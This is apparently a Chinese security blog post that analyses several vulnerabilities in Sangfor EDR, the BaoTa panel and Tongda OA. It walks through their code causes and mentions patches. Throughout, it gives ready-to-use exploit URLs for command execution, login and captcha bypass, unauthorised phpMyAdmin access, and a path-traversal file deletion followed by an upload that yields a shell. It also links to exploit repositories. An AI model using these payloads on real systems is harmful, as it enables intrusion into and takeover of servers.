深信服EDR漏洞分析
RCE getshell
如果說最近爆出的0day當中最為人熟知的莫過於最先爆出的深信服EDR的0day了,只需要憑借着簡單的復現條件就可以對漏洞加以利用,那么我們下面來分析一下深信服EDR的幾個比較高危的漏洞吧。
首先從廣為人知的c.php開始說起,這個漏洞的復現條件極為簡單,只需要訪問/tool/log/c.php然后使用get提交傳入變量即可,利用exp如下:
http://ip/tool/log/c.php?strip_slashes=system&host=id
下面我們看一下他的代碼
查看c.php程序入口,可以看到調用了show_form函數,並且利用REQUEST的方式傳參,然后我們跟進這個函數。
從箭頭處我們可以看到這里調用了extract函數,繼續往下看到三元運算符其中變量strip_slashes指向了一個函數,如下圖:
這個函數大概就是檢查有沒有開啟gpc功能,如果沒有開啟則直接return返回值如果開啟了就是用stripslashes函數進行轉義。????相信屏幕前的你也一堆問號,神奇的邏輯。
言歸正題,回到show_form這里,那么我們是不是就可以通過覆蓋掉strip_slashes以及host變量來getshell了呢?覆蓋后的變量大概就是
strip_slashes=system&host=id
組合起來也就變成了system(id)從而執行了命令呢?
真•后門
如果上面那個漏洞我們原諒了開發,那么下面這個漏洞一定會讓你若有所思!我們直接來看一下代碼吧!
我想可能刷過靶場的小伙伴對這串代碼都不陌生,沒錯這不就是簡單難度的變量覆蓋漏洞嗎?還是能執行命令那種,至於利用方法也是非常簡單!
http://ip/php_cli.php?code=system("whoami");
神奇備份
這個也沒有什么可說的直接上圖吧!
就在/tool/log目錄下
越權登陸
這里的越權登陸通過在前台登陸頁面login.php界面進行傳參提交用戶名可越權至終端后台,利用payload如下:
http://ip/ui/login.php?user=admin
迷惑驗證碼
我們分析/tool/log/l.php代碼,作為和c.php在同一目錄的好兄弟沒有點能耐好意思在這個目錄呆?代碼如下圖:
在這個main函數中,我們首先步進到ldb_run_at_console函數中。
可以看到這個函數設置了一個全局變量,最后return時驗證是否設置該變量,返回然后true或者false,當然因為沒有設置這個變量那么一定就是false,然后看第一張圖,也就滿足了第一層if的條件,然后繼續往下看第二層,如果沒有設置captcha變量或者captcha的值不等於10899801則返回驗證碼錯誤。
那么我們可以看到他是直接通過REQUEST的方式接收值,既然我們可以控制變量那么直接構建payload即可。
http://ip/l.php?captcha=10899801
權限繞過
同樣也有表哥挖到了權限繞過漏洞,通過修改Y-Forwarded-For的值為空以及其默認沒有配置文件導致變量值為空在比較時可以越權獲取特權,下面我貼一下文章地址:
https://mp.weixin.qq.com/s/4Z4QF-Wdq2PhqCkGKB8Q6Q
深信服小結
深信服EDR所有的漏洞當然不止以上幾個,在tool目錄下幾乎無一例外的都有變量覆蓋漏洞,也希望相關開發人員能夠重視安全開發規范,我認為漏洞產生的原因就是開發沒有做到數據與代碼分離從而致使可以控制變量並加以利用,現在大部分漏洞已經有了相應的解決方案。大部分的EDR已經刪除了tool目錄,並且也發布了相應的補丁,雖然發補丁時順道把源碼泄露了,EXP已經上傳至github有興趣的小伙伴可以自行下載。
https://github.com/wikiZ/-EDR-EXP
寶塔越權漏洞
這個漏洞於8月23日上午公開,寶塔官方於晚上8點發布短信緊急修復公告,漏洞通過訪問指定url可以直接越權利用,影響近9W余台服務器,利用payload如下:
http://ip:888/pma
通過訪問以上url可以直接越權至phpmyadmin后台,也有許多娛樂圈黑客利用此漏洞四處破壞,造成了嚴重的社會影響,更有甚者在gov站點上掛黑頁。
該漏洞主要影響版本有:
寶塔linux面板 7.4.2
寶塔windows面板6.8
修復方案:
1、升級寶塔面板至最新版本7.4.3,在面板內即可升級。
2、關閉888端口。
EXP地址:https://github.com/wikiZ/pagota
通達OA RCE漏洞
說到通達OA,它最近爆出的漏洞可真的不要太多了,就在幾個月之前也爆出過RCE getshell漏洞,那時候我也寫出了EXP並進行分析。這一次爆出的RCE同樣是auth身份驗證文件的問題,但卻不是他的鍋。下面我們來對代碼進行審計吧!
漏洞影響版本:
通達OA < v11.7
首先漏洞的關鍵產生原因就是文件刪除漏洞,攻擊者通過該漏洞刪除了auth身份驗證文件,導致驗證失效從而進行任意文件上傳,任意文件刪除漏洞產生位置在:
/module/appbuilder/assets/print.php
我們來看一下它的源碼
P.S.注意通達OA的源碼是加密的需要使用seayDZend工具解密后即可正常閱讀源碼
在上圖代碼中我們可以看到用戶可以通過GET方式控制變量guid,然后下面對文件是否存在進行檢測,如果存在則會調用unlink函數進行刪除文件,s_tmp變量這里拼接了guid變量,所以這里我們就可以通過guid參數進行目錄穿越從而進行任意文件刪除,PAYLOAD如下:http://ip/module/appbuilder/assets/print.phpguid=../../../webroot/inc/auth.inc.php
注意在測試時進行備份,刪除了auth.inc.php可能導致部分功能不可用。
刪除了auth.inc.php文件,我們繼續分析文件上傳點的源碼,漏洞發生位置為:
/general/data_center/utils/upload.php
首先傳入參數action=upload進入,然后傳入不存在的filetype這里可以任意取值,最后傳入repkid參數值為/.<>./.<>./.<>./ 逃逸file_exits函數。數據包中構建上傳文件操作,上傳文件參數名為FILE1。
這里的逃逸操作,使其進入if條件中拷貝文件至網站根目錄。
最后直接訪問http://ip/_filename.php
即可。
數據包如下圖:
通達OA漏洞小結
修復方式:
更新至最新版本v11.7即可。
更新地址:https://www.tongda2000.com/download/sp2019.php
EXP地址:https://github.com/wikiZ/tongda-deleteRCE